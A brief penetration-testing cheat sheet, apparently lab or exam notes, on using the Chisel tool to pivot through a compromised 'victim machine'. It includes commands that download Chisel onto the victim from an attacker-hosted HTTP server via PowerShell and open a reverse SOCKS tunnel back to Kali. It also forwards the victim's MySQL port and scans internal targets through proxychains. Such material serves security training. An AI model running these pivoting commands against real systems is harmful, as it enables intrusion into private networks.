Chisel Tools

Chisel is a fast TCP/UDP tunnel over HTTP. Is can be used for port forwarding.

Guide:

https://exploit-notes.hdks.org/exploit/network/port-forwarding/port-forwarding-with-chisel/exploit-notes.hdks.org

Using Chisel for port forwarding.

Linux vs Windows:

# Make sure that you donwload same version for both linux and windows.
# Download the chisel for linux.
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz

# Unzip it.
gunzip chisel_1.8.1_linux_amd64.gz 

# Download chisel for windows
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_windows_amd64.gz

# Unzip it.
gunzip chisel_1.8.1_windows_amd64.gz

# Start the http server to transfer file to victim machine.
python3 -m http.server 8000

Please check proxychain4.conf that default port is added to the proxychains4.

# You can transfer file in below manner if it is windows machine and powershell
iwr -uri http://192.168.45.205:8000/chisel_1.8.1_windows_amd64 -Outfile chisel.exe

# First start the server in kali linux.
# In kali linux give execute permission to chisel.
chmod a+x chisel_1.8.1_linux_amd64

# Run the chisel as a server.
 ./chisel_1.8.1_linux_amd64 server -p 8001 --reverse

# run chisel to connect back to kali linux.
./chisel.exe client $KaliIP:8001 R:1080:socks

Output in the server will be as shown below if connection is established properly.

Now use proxychain to run the commads:

# Example of nmap scan using proxychain:
proxychains4 nmap -n -Pn -F -sV -sT -oA nmap_results -vvv -iL targets.txt -T4 --max-retries 1 --max-rtt-timeout 2s --ttl 50ms --open

One-to-one port forwarding

Sometimes, we only need a single port connection between our machine and the victim machine for enumeration. In such cases, we can use this feature. The only modification required is how the victim connects to the server in Chisel; everything else remains the same.

# chisel client <listen-ip>:<listen-port> <local-port>:<target-ip>:<target-port>
./chisel client 192.168.45.219:8080 R:8000:127.0.0.1:8000
# One to one port forwarding

# for connecting to MySQL.
# run chisel to connect back to kali linux from windows
./chisel.exe client 192.168.45.176:8001 R:3306:127.0.0.1:3306

# Example:
# Now we can use the port we forwarded in the below manner.
mysql -u root -h 127.0.0.1 --skip-ssl  -P 3306